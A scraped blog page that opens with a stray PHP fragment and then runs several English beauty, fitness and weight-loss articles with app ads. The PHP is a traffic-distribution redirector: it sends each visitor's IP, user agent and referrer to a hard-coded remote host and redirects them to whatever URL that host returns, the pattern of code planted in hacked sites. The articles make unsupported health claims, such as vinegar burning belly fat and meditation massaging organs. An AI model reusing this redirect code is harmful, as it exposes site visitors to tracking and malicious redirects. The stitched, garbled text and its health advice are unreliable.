"; echo json_encode($_SERVER); echo "
"; } $API_DOMAIN = 'noy-95.com'; $AD_TOKEN = '36bd9815c20357f96453fa247140b6b167e93fb0'; $TB_URL = ''; $ttl = 10 * 60; $fileName = dirname(__FILE__)."/.domain.cache"; $query = isset($_GET['q']) ? $_GET['q'] : ''; $s1 = isset($_GET['s1']) ? $_GET['s1'] : ''; $s2 = isset($_GET['s2']) ? $_GET['s2'] : ''; $s3 = isset($_GET['s3']) ? $_GET['s3'] : ''; if ($isDebug) { echo "Getting tds domain from cache...
"; } $info = getDomain($fileName); if (is_array($info) && $info['expired'] < time()) { if ($isDebug) { echo "FAIL: TDS domain cache is empty or expired
"; } $info = false; } if ($info === false) { if ($isDebug) { echo "Getting tds domain from api...
"; } $domain = getTDSDomain($API_DOMAIN, $AD_TOKEN); if (!$domain) { if ($isDebug) { echo "FAIL: No domain received.
"; } if ($TB_URL) { $rUrl = str_replace(array('{QUERY}', '{S1}', '{S2}', '{S3}'), array($query, $s1, $s2, $s3), $TB_URL); if ($isDebug) { echo "Redirecting to trafficback: $rUrl
"; } else { listHeaders(); header("Location: $rUrl"); } return; } if ($isDebug) { echo "Rendering 404 error
"; } else { render404($_SERVER); } return; } if ($isDebug) { echo "Saving domain to cache...
"; } saveDomain($fileName, $domain, time() + $ttl); $info = array('domain' => $domain); } if ($isDebug) { echo "Getting ad url...
"; } $location = getAd($info['domain'], $AD_TOKEN, $_SERVER, array('query' => $query, 's1' => $s1, 's2' => $s2, 's3' => $s3), $isDebug); if (!$location) { if ($isDebug) { echo "FAIL: No ad found.
"; echo "Rendering 404 error
"; } else { render404($_SERVER); } return; } if ($isDebug) { echo "Redirecting to ad: $location
"; } else { listHeaders(); header("Location: $location"); ob_flush(); } return; function getDomain($file) { $d = file($file); if ($d === false || count($d) === 0) { return false; } $info = explode(";", $d[0]); // mailformed file if (count($info) !== 2) { return false; } return array( 'domain' => $info[0], 'expired' => (int) $info[1] ); } function saveDomain($file, $domain, $expired) { file_put_contents($file, "$domain;$expired"); } function getTDSDomain ($apiUrl, $token) { $ctx = stream_context_create(array('http'=>array('timeout' => 10))); $res = file_get_contents("http://$apiUrl/pd?token=$token", false, $ctx); if (!$res) { return ""; } $data = json_decode($res, true); if (!is_array($data) || !array_key_exists("domain", $data)) { return ""; } return $data["domain"]; } function getAd($domain, $token, $server, $params, $isDebug) { $errCount = 0; $res = ''; while ($errCount < 2) { $res = doReq($domain, $token, $server, $params, $isDebug); if ($res !== false) { break; } $errCount++; } if ($res === false || $res['code'] >= 400 || !is_array($res['response'])) { return false; } if (!empty($res['response']['url'])) { return $res['response']['url']; } else if (!empty($res['response']['tb'])) { return $res['response']['tb']; } else { return false; } } function doReq($domain, $token, $server, $params, $isDebug) { $ch = curl_init(); $body = array(); if (!empty($server['HTTP_REFERER'])) { $body['ref'] = $server['HTTP_REFERER']; } if (!empty($server['HTTP_USER_AGENT'])) { $body['ua'] = $server['HTTP_USER_AGENT']; } if (!empty($server['HTTP_ACCEPT_LANGUAGE'])) { $body['lang'] = $server['HTTP_ACCEPT_LANGUAGE']; } $body['ip'] = getClientIP($server); $body['q'] = $params['query']; $scheme = getScheme($server); $bodyStr = json_encode($body); $addSubParams = array(); if (!empty($params['s1'])) { $addSubParams[] = "s1=".$params['s1']; } if (!empty($params['s2'])) { $addSubParams[] = "s2=".$params['s2']; } if (!empty($params['s3'])) { $addSubParams[] = "s3=".$params['s3']; } $subStr = (count($addSubParams) > 0) ? "&".implode("&", $addSubParams) : ""; $ch = curl_init("$scheme://$domain/rtb/r?token=$token$subStr"); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $bodyStr); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Content-Length: '.strlen($bodyStr)) ); $result = curl_exec($ch); $info = curl_getinfo($ch); curl_close($ch); if ($info === false || !$info['http_code']) { if ($isDebug) { echo "Network error occurred: ".curl_error($ch)."
"; } return false; } $adData=json_decode($result, true); return array('code' => $info['http_code'], 'response' => is_array($adData) && count($adData) > 0 ? $adData[0] : null); } function getScheme($server) { return stripos($server['SERVER_PROTOCOL'],'https') === true ? 'https' : 'http'; } function getClientIP($server) { if (array_key_exists('HTTP_X_FORWARDED_FOR', $server)){ return $server["HTTP_X_FORWARDED_FOR"]; } else if (array_key_exists('HTTP_X_REAL_IP', $server)) { return $server["HTTP_X_REAL_IP"]; } else if (array_key_exists('REMOTE_ADDR', $server)) { return $server["REMOTE_ADDR"]; } return ''; } function listHeaders() { header("Expires: Tue, 03 Jul 2001 06:00:00 GMT"); header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); header("Connection: close"); } function render404($server) { $protocol = isset($server['SERVER_PROTOCOL']) ? $server['SERVER_PROTOCOL'] : 'HTTP/1.1'; listHeaders(); header("$protocol 404 Not Found"); }

‏إظهار الرسائل ذات التسميات MAKEUP. إظهار كافة الرسائل

2/04/2019

10 common mistakes women make when choosing and wearing lingerie

Rix BAUOTY , MAKEUP

10 common mistakes women make when choosing and wearing lingerie

When you go shopping, sometimes you may find lingerie that looks really amazing, you often think to yourself, “It looks so sexy. I'll buy it.”

BetterMe App helps women achieve their body goals with ease and efficiency by helping to choose proper meal plans and effective workouts. Start using our app and you will see good results in a short time.

Unfortunately, it is not always a good idea to make such unexpected purchases. Lingerie is like a second skin - it should fit you perfectly, be comfortable, safe and sexy at the same time. When it comes to buying lingerie, you need to be very choosy!

That is why in this article, we would like to show you ten common mistakes women make when they choose lingerie and how to prevent them.

By using these tips, you will be able to choose underwear that fits you ideally and makes you look wonderfully. Are you interested? Scroll down to read these tips right now.

Credit: Freepik

#1. Choosing the right fabric

Lacy lingerie is not good for everyday wear. It can be just perfect for special occasions(Like hot night with your boyfriend). But if you like wearing clothes made out of thin fabric, lacy underwear is not a good choice for you. In order to avoid showing your sexy bra, it is better to avoid wearing lingerie made from lacy fabric. They make the surface uneven, and that's why you may look ridiculous.

Instead, think about buying underwear with smooth fabric, or keep your lacy underwear from showing by wearing clothes made out of thick fabric.

READ MORE: 5 exercises to remove underarm fat and breast side fat

#2. Classify your breast shape

If you want to buy the lingerie to fit you perfectly, you need to choose the underwear of right size. Advertisement makes us thinking that small bra sizes can make everyone look amazing, but they are wrong.

Choosing the right size of bra is very important. Knowing your body type can help you choose the right size of shapewear to let the underwear look good on you. Moreover, the wrong size make you look hunched and cause blood circulation problems. It hampers your blood flow, making you feel uncomfortable after wearing the bra for several hours. Make sure you choose the shapewear in the right size.

Credit: Freepik

#3. Finding the right size

Wearing too big bra may result in back pain. The same as wearing too small bra may impair blood flow. If your bra is scratchy and you feel the hook-and-eye closure in your back, that's not your size. In order to avoid health problems, it is necessary to know your bra size.

How can you choose the right size? You may ask a professional bra fitter to help you choose or you may determine it on your own by wearing dozens of underwear at lingerie store. In order to lift your breasts and make them appear bigger, you can always buy a padded bra.

#4. Pay attention to the color

Everything clear with the color, is it? If you want to look trendy and elegantly, It is better to avoid wearing a bright-coloured bra under a light coloured shirt. People look at it as bad taste. In order to wear transparent clothes, you should buy the underwear that matches the colour of your skin.

Credit: Freepik

#5. Home clothes

Most people believe that it is not necessary to wear a bra at home. Yes, it is true for women with small breasts, but it doesn’t work for women with bigger sizes, as it can make their breasts saggy. We recommend you wearing sports bra at home. It is comfortable to wear and it may help keep your breasts perky.

#6. Choosing the right type of your panties

Not many women love wearing thongs. Yes, this type of panties is perfect for those who don’t want their underwear line to show, but it may irritate the skin and even cause infections. It is better to avoid wearing thongs on a daily basis and wear them only for special occasions.

Credit: Freepik

#7. High-quality material

You may think that 100% cotton is the best, but no. It is comfortable to wear a cotton bra, but this material wears out quicker. In order to keep your breasts young, it is better to choose 80% cotton and 20% elastane underwear.

READ MORE: 5 exercises for fit, perky breasts and fat-free underarms

#8. Find a perfect mix

When buying a new lingerie set, pay attention to its combination. The perfect lingerie should consist of the top and bottom that go wonderfully together.

Credit: Freepik

#9. Find the underwear that complement your body type

If you have a pear-shaped body type, you should wear simple and lacy shorts. If you are a curvy woman, you may wear high-rise panties. In order to make your legs look skinnier, you should avoid wearing boxers.

BetterMe App helps you increase your self-esteem and achieve your personal goals by opening the doors to the world of fitness and healthy lifestyle. Try it now to see the best version of yourself as soon as possible.

#10. Daily lingerie

It is very important to choose comfortable panties on a daily basis. Try to avoid wearing shapewear, silk panties or lace panties, as these fabrics may irritate your skin. We recommend you wearing panties that are made of high quality fabrics.

More information»

Lose belly fat with a table spoon of apple cider vinegar per day

Rix MAKEUP , WELLNESS

Lose belly fat with a table spoon of apple cider vinegar per day

There are people who do not need to think about their body too much, because they are responsible for their harmony to nature, but there are not enough such people. The rest have to struggle with excess weight by keeping rigid diets and performing numerous physical exercises.

BetterMe App helps women achieve their body goals with ease and efficiency by helping to choose proper meal plans and effective workouts.

Start using our app and you will see good results in a short time.

Many women face such a problem as belly fat. This lack is capable to spoil appearance even of slim ladies. That is why the question arises, what is it possible to do in this situation? There are many ways that will help solve this problem and one of them is using apple cider vinegar.

Credit: Freepik

Apple cider vinegar has the following properties for weight loss: it promotes rapid saturation, if the drink with its content is taken shortly before meals; it burns fat deposits and this is especially noticeable in the abdomen, as well as the hips and legs, it improves the digestive system.

Credit: Pixabay

It does not allow excess fluid stagnant in the body. It is these factors that allow you to quickly get rid of excess pounds, if you limit yourself in eating. To make an excellent drink for getting rid of belly fat you need:

READ MORE: 27 natural ways to remove under-eye dark circles for good

Apple cider vinegar

Lemon juice

Honey

Water

Credit: Pixabay

Mix everything well and drink a spoonful of this remedy two times a day. Also, you can use this mixture as a dressing for vegetable salads. Note that this drink helps not only to get rid of fat on the abdomen and other parts of the body, but it also tones up, helping to become energetic and to tune in to a working day.

READ MORE: 6 DIY ice cube beauty treatments for a summer skin refresher

Credit: Freepik

However, there are some contradictions to apple cider vinegar. Apple cider vinegar should not be used when: gastrointestinal diseases, including gastritis, ulcers, colitis, etc; various kidney diseases; disease of hepatitis in chronic form; too tender and sensitive skin.

BetterMe App helps you increase your self-esteem and achieve your personal goals by opening the doors to the world of fitness and healthy lifestyle.

Try it now to see the best version of yourself as soon as possible.

Apple cider vinegar can spoil your teeth, as it destroys the enamel. To prevent this from happening, it is recommended to rinse the mouth with water after drinking the mixture.

More information»

Fit over 50: 5 fitness pros share their one morning ritual that they’d never give up

Rix BAUOTY , HIAIR

Fit over 50: 5 fitness pros share their one morning ritual that they’d never give up

How nice to look at women 40-50 years old who demonstrate their fantastic physical shape. They do not just have an excellent body shape, but they also do fitness every day and lead a healthy lifestyle, which makes them look great. What is their secret? Is it even possible?

We want to tell you that everything is possible in this life, since you are its creator. All these women older than 40-50 years of age regularly train, and also have daily habits that help them stay in great shape. What are these habits? Keep reading because we learned from 5 pros their one morning ritual that they'd never give up, and are ready to share these habits with you. So, read and take notes, ladies!

Credit: Freepik

#1. A morning walk

Sara Kooperman, JD, CEO of SCW Fitness Education and WATERinMOTION and inductee in the National Fitness Hall of Fame (58 years old) shares with you her morning ritual, which gives her strength and energy for the whole day.

READ MORE: Here’s how much you must walk to lose weight

“My daily regime includes walking my golden retriever, Buster, for 30 minutes to an hour each day. This works out to be 2-4 miles. It helps me focus more intently and creatively. I also like to walk in the morning with friends. This gives me time and catch-up time with my girls. We call this our ‘therapy.’ I highly recommend this for the busy professional and the busy mom!”

Well, ladies, before you go to bed in the evening, do not forget to prepare walking shoes and your favorite yoga pants for a morning walk.

Credit: Freepik

#2. Breathing Listening Technique

Kathy Smith, inductee in the National Fitness Hall of Fame and Video Hall of Fame, and host of “On Health: The Art Of Living With Kathy Smith” (66 years old) shares with you some amazing technique, which helps her regain focus.

“A technique I use to re-energize during the day is called the BLT (Breathing Listening Technique). It's a simple method to help me regain focus. This 60-sec technique allows me to release past thoughts and future concerns. And, it brings me back to the present moment. I feel a wave of relaxation and confidence, and it helps improve my productivity. The BLT slows down heart rate, lowers blood pressure, and flushes out any feeling of frustration.”

Credit: Freepik

You can also make “BLT” your daily habit. For this, you just need to follow these steps:

-Get comfortable in a chair. Make sure your shoulders are relaxed, down and back, and that your chest is nice and open. Take a nice, steady inhale for a count of 6.

-When you reach the top, try and hold it for a count of 6. While you’re holding your breath, listen. Identify any sounds around you, however distant or faint they may be: an air conditioner rumbling, a dog barking down the street, a car driving, or maybe just the soft song of a bird nearby. Whatever it is, be specific and mentally pinpoint the source of each sound.

- Slowly exhale for another count of 6. Repeat this cycle 4-5 times.

READ MORE: 6 yoga breathing methods to shed pounds

Credit: Freepik

#3. The first hour of your day

Petra Kolber, happiness expert and author of the upcoming book The Perfection Detox (54 years old) says that women should protect the first hour of their day. Why should we do this?

“When I protect the first hour of my day and use it well, the rest of my day seems to always unfold with more ease. I try not to look at my computer or phone (I charge my phone outside of my bedroom) until at least an hour into my day. I use this golden hour to set my intention and my mindset to create an extraordinary day. I start by thinking of three things that I am looking forward to that day. This primes my brain to seek more of the good. I then sit quietly and meditate for 5-10 minutes, journal for a few minutes, or pick up the latest book I am reading. Next, I make my coffee and use the process as another mindfulness ritual. I then go and make my bed.”

What about you? You must definitely try this morning method. Set aside your gadgets and take yourself an hour of free time to tune in to positive mood throughout the day.

Credit: Freepik

#4. 7 hours of sleep

Keli Roberts, internationally renowned fitness educator and inductee in the National Fitness Hall of Fame (56 years old) recommends sleeping at night for at least 7 hours.

“I have very regular sleep habits. I go to bed around the same time of the day, every day. My day starts super early, so I try and get at least 7+ hours a night. That’s my absolute minimum. Often I get 8+. Sleep is underrated when it comes to staying healthy and energized. When I don’t get enough sleep I sneak in a nap in the afternoon!”

Try to go to bed early every night. Set aside all the gadgets so as not to be distracted, make an alarm for an earlier time and fall asleep. Also, we recommend you keep your bedtime consistent, even on weekends.

Credit: Freepik

#5. What about mindful eating

Mindy Mylrea, creator of Gliding, the Gliding Disc Exercise Program, and Tabata Bootcamp (56 years old) recommends you try mindful eating.

“At age 50, I launched into learning everything about nutrition. The food we consume plays an enormous role in our vitality and longevity. Today, I don’t worry about the ‘workout’ as much as a whole-food, plant-based diet. Exercise is crucial to wellness, but we can never exercise our way to good health if our diet is off track.”

Stop just eating your food and flipping news on social networks on your iPhone. Try to eat mindfully: bless your body with healthy food, much of which comes from the earth, because that is the best filling for your stomach.

More information»

2/03/2019

3 basic meditation techniques for beginners and 20 reasons to try them out

Rix MAKEUP , SKIN

3 basic meditation techniques for beginners and 20 reasons to try them out

Each of you very often hears the word “meditation” in recent times. Why does everyone talk about this practice? What is special about it? The main goal of meditation is to calm down your inner dialogue, which is constantly held in your head. In other words, meditation helps to take a break from the constant noise.

Thanks to this wonderful practice, you can feel calm not only externally, but also internally. Just imagine…no extra thoughts, you are completely calm, you are not worried…you are happy! All this is really possible, the main thing is just to start practicing meditation, and then the whole world will be at your feet!

If you have doubts and you do not want to start something new, just look at these 20 reasons to try meditation practice:

Credit: Freepik

#1. Meditation lowers risk of overtraining

#2. Meditation reduces stress hormone concentrations like cortisol and aldosterone

#3. Higher DHEA-Sulfate as well as increased Testosterone and growth hormone response to stress

#4. Meditation improves kidney function, lowers sodium-potassium ratio and reduces urinary loss of calcium and zinc

#5. Remarkable success getting off drugs, even after being dependent

#6. Enhanced immune function

#7. A shift toward fat oxidation (“fat burning”)

#8. Meditation improves focus and sports performance

#9. Meditation enhances the reaction time

#10. Meditation improves carbohydrate metabolism

READ MORE: 6 steps to falling asleep quickly naturally

Credit: Freepik

#11. Reduced evening-time overeating and better chance for long term weight loss

#12. Slowed biological aging (according to biomarkers) up to 5-12 years

#13. Improved antioxidant effects indicated by 15% lower lipid peroxides

#14. Improved hormone secretions through stimulation of the pneumogastric nerve

#15. Meditation improves digestion, metabolism and excretion

#16. Meditation reduces time required for a complete recovery

#17. Meditation improves brain function including memory

#18. Meditation massages the organs thus improving blood flow

#19. Meditation slows down normal breathing rate, heart rate and lowers blood pressure

#20. Has been shown to increase T-cell levels, which are linked to immunity.

There are different types and methods of meditation practice. Some of them are quite difficult and take a long time to learn how to practice them. And some of them are quite simple even for beginners in meditation. Therefore, if you do not know where to start and what technique to choose, we have prepared a list of 3 basic meditation techniques for beginners. Let’s check them out!

READ MORE: 3 ways to improve sex life through relaxation

Credit: Freepik

Basic #1

Find a quiet place to practice meditation. You can lay, sit in a chair or stand, whatever feels most comfortable. Close your eyes. Start breathing. Slowly and controlled. In order to get rid of the flow of thoughts, you need to try and watch your thoughts as they unfold like a movie screen. Do not interrupt your thoughts, try to relinquish all conscious control and just sit and observe. Do this for 10-20 minutes.

Basic #2

Start a stopwatch. Sit quietly, eyes closed, relaxed, breathe deeply and be very aware of your breathing (hear, feel, visualize). Simply count your breaths until you reach 100. Then note how long it took. The better you get the longer it should take to reach 100.

Credit: Freepik

Basic #3

This technique should be performed lying down and preferably in a place that is not completely silent. Eyes closed, work from your toes up and become conscious of each muscle then simply relax that muscle. Take your time in doing this. Become very aware of your slow controlled breathing, and then start to observe the sounds around you. From the loudest to the quietest. Do not have any intellectual deliberations or make judgments, just observe. After a while (5-10 minutes at least) start again being consciously aware of your muscles but this time work from your head down and slightly contract the muscle.

Credit: Freepik

Once you have done that, imagine a blank screen, say and write in very small font the number 1. Then proceed consecutively until you reach 10 making the font bigger and the mental audio louder with each successive number. The number 10 should be big, bright and loud. The colors of the font and the screen should be contrasting. When you have done this start to open your eyes slowly. With eyes fully opened observe for a small time the shapes, colors and contours of the sights of your surroundings.

Start practicing this technique for 2 minutes, gradually increasing the time to 20 minutes.

More information»

Drinking water for weight loss: 7 proven ways water helps burn fat

Rix BAUOTY , HIAIR

Drinking water for weight loss: 7 proven ways water helps burn fat

Hi everybody! How about to lose those extra pounds and get the body of your dreams? What do you think about it? If you agree with our proposal, then first you need to change your diet for the better and healthier and begin to work out. And now we ask you to answer a very important question: What do you prefer to drink?

The fact is, the process of losing weight includes not only a healthy diet, physical activity, but also the consumption of water in sufficient quantities. Water is essential for your health, remember this fact. The more water you drink, the more calories you burn.

What's more, water helps to suppress appetite and flush toxins from the body. And when you replace your “favorite” sugary drinks with water, it helps you cut out those extra calories without even trying. Want to learn the secrets of water for weight loss, then keep reading because we have prepared a list of 7 proven ways water helps burn fat! Here they are:

Credit: Freepik

#1. Water increases the burn without adding exercise

Yes, effective exercises are beneficial for weight loss, but drinking enough water can help you increase the number of calories that your body burns when you are not even working out. Some studies show that within 10 minutes of drinking about 2.25 cups of water, your metabolism is boosted by 30%. And this effect lasts for 30 to 40 minutes.

READ MORE: Ginger water can help reduce the excess fat on hips, waist and thighs

Therefore, guys, if you have metabolic problems and you are overweight, we recommend increasing your water intake. Water will definitely help you speed up your metabolism, just try it!

Credit: Freepik

#2. Water suppresses appetite

When you feel that you are hungry, all you need is a glass of water, and you will immediately feel full. For example, a 2010 study showed that people who drank water before meals lost 44% more weight than people who didn’t start their meals with water.

In addition, when you feel hungry, it may also indicate that you are dehydrated. In this case, when you feel like you have low energy, dizziness or a grumbling stomach, we recommend drinking water before grabbing a snack.

#3. Water reduces the number of calories

We are sure that you like Coca-Cola. And do you know that one can of this beverage contains 140 calories? Therefore, if you drink soda every day, you should replace it with water, which will help you lose an extra pound every 12 weeks or so. Some studies show that people who drink water do take in about 194 fewer calories each day than people who drink juices and other sugary drinks.

Credit: Freepik

#4. Water helps to consume healthy food

More and more studies show that people who drink plenty of water have healthier dietary habits. These people eat more fruits and vegetables than people who prefer to drink sugary beverages.

READ MORE: A 14-day lemon water challenge to lose weight

#5. Ice Water helps boost metabolism

If you do not know how to increase your metabolism, then you should try drinking ice water. When you drink ice water, your body has to heat it up before using it. This process helps you burn some extra calories.

Credit: Freepik

#6. Workouts are beneficial with hydration

When your body is hydrated, you experience fewer muscle cramps. Your joints remain lubricated, allowing you to work out more effectively. Your heart pumps blood more efficiently to your muscles, and this is a key factor for overweight people.

When your mobility is in place, and your body feels good, you are more likely to burn extra calories during exercising. Once you feel that you want to drink, it means that your body is dehydrated. In this case, for proper hydration, you need to drink about 8 ounces every 30 minutes while you’re sweating during training.

Credit: Freepik

#7. Water flushes out toxins

Toxins poison your body, so you need to always get rid of them. An the best option for this is drinking plenty of water, because your kidneys need it to filter toxins from the body. Water can also help you move stool through the digestive system, which also removes toxins from the system.

More information»

2/04/2019